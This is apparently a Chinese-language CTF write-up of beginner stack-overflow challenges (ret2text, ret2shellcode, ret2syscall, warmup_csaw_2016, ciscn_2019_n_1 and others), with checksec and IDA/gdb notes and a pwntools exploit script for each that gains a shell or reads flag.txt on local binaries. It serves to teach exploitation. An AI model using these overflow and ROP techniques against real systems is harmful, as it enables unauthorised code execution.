首先拖入KaLi中,checksec
发现是一个32位elf文件,并且开启了 NX , 即为No execute(栈禁止执行)
使用IDA Pro打开
发现vulnerable和get_shell函数,双击打开
存在栈溢出漏洞, 并且有直接的shell函数。
可得知需要输入的数量为16+4 (16+32位下的4位地址)
POC如下
from pwn import *
io = process ("./ret2text")
shell = 0x8048522
payload = (b'A'*20 + p32(shell))
io.sendline(payload)
io.interactive()
成功获取shell
checksec
32位elf,使用IDA Pro打开
发现只有main函数
栈溢出漏洞,buf2为全局变量,并且是bss段,具有可执行权限
使用gdb获取需要填充的字符数量
下断点
需要填充的字符数量为 108 + 4 = 112
构造POC
from pwn import *
sh = process ("./ret2shellcode")
shellcode = asm(shellcraft.sh())
execute_addr = 0x0804A080
payload = (shellcode.ljust(112,b'A') + p32(execute_addr))
sh.sendline(payload)
sh.interactive()
使用shellcraft.sh构造shell
成功获取shell
checksec
开启了 NX,是32位elf文件
只看到了main函数,不过已经够了
按下Shift + F12,看到了/bin/sh
使用gdb进行动态调试
需要输入的字符数量为112,由于没有system,因此需要使用ROPgadget工具。
因为:execve("/bin/sh",0,0)
构造POC
from pwn import *
sh = process ("./ret2syscall")
binsh_addr = 0x080be408
pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
int = 0x08049421
payload = (b'A' * 112 + p32(pop_eax_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(binsh_addr) + p32(int))
sh.sendline(payload)
sh.interactive()
成功获取shell。
64位elf文件,开启了NX
使用IDA Pro打开
关键字捕捉
callsystem是shell函数,vulnerable_fuction里存在栈溢出漏洞
gdb动态调试
因此是128+8(64位地址)= 136
构造POC
from pwn import *
sh = process ("/root/Desktop/Pwn Subject/level0")
binsh_addr = 0x400596
payload = (b'A'*136 + p64(binsh_addr))
sh.sendline(payload)
sh.interactive()
成功获取shell
这题没什么好说的,打开就是shell函数,使用nc直接连接就可以拿到shell
checksec
使用IDA Pro打开进行静态分析
发现main函数与fun函数
fun函数为shell函数,main函数中存在栈溢出漏洞
gdb动态调试
即为15+8个字符
构造POC
from pwn import *
sh = process ("/root/Desktop/Pwn Subject/pwn1")
binsh_addr = 0x401186
payload = (b'A'*23 + p64(binsh_addr))
sh.sendline(payload)
sh.interactive()
成功获取shell
checksec
64位elf
使用IDA Pro进行静态分析
并且这个地址能直接跳转到shell函数
gdb动态调试
因此为64+8 = 72位
构造POC
from pwn import *
sh = process ("./warmup_csaw_2016")
binsh_addr = 0x400611
payload = (b'A'*(64+0x8) + p64(binsh_addr))
sh.sendline(payload)
sh.interactive()
成功获取flag.txt
只不过我是本地文件,因此没有 。
checksec
是64位elf 使用IDA Pro进行静态调试
发现2个函数,main与func
只要溢出到v2,使得v2等于这个值 便可以获取flag.txt
gdb动态调试
为48+8
构造POC
from pwn import *
sh = process ("/root/Desktop/Pwn Subject/ciscn_2019_n_1")
binsh_addr = 0x4006BE
payload = (b'A'*(48+0x8) + p64(binsh_addr))
sh.sendline(payload)
sh.interactive()
成功cat flag.txt
checksec
32位elf
使用IDA Pro进行静态调试
发现4个函数 main,get_flag,replace,vuln
其中vuln函数与replace函数配合使用,输入的I被replace函数替换为you
get_flag函数则为cat flag.txt
输入I又被替换为you,因此60/3 = 20,输入20个I即可溢出
构造POC
from pwn import *
sh = process ("./pwn1_sctf_2016")
binsh_addr = 0x8048F0D
payload = b'I'*20 + b'A'*0x4 + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
成功cat flag.txt
早上就做了这么点题目,整理整理发出来也就当备份了。